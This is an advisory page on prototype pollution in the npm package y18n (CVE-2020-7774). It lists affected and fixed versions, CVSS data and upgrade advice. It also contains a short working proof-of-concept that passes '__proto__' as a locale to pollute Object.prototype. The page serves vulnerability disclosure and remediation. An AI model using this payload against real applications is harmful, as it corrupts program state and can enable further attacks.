Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWM0dzcteG03OC00N3Zo

Prototype Pollution in y18n

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

Permalink: https://github.com/advisories/GHSA-c4w7-xm78-47vh
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWM0dzcteG03OC00N3Zo
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 3 years ago
Updated: 6 months ago


CVSS Score: 7.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Identifiers: GHSA-c4w7-xm78-47vh, CVE-2020-7774
References: Repository: https://github.com/yargs/y18n
Blast Radius: 45.4

Affected Packages

npm:y18n
Dependent packages: 1,914
Dependent repositories: 1,652,118
Downloads: 247,176,010 last month
Affected Version Ranges: >= 5.0.0, < 5.0.5, = 4.0.0, < 3.2.2
Fixed in: 5.0.5, 4.0.1, 3.2.2
All affected versions: 1.0.0, 1.1.0, 2.0.0, 3.0.0, 3.1.0, 3.2.0, 3.2.1, 4.0.0, 5.0.0, 5.0.1, 5.0.2, 5.0.3, 5.0.4
All unaffected versions: 3.2.2, 4.0.1, 4.0.2, 4.0.3, 5.0.5, 5.0.6, 5.0.7, 5.0.8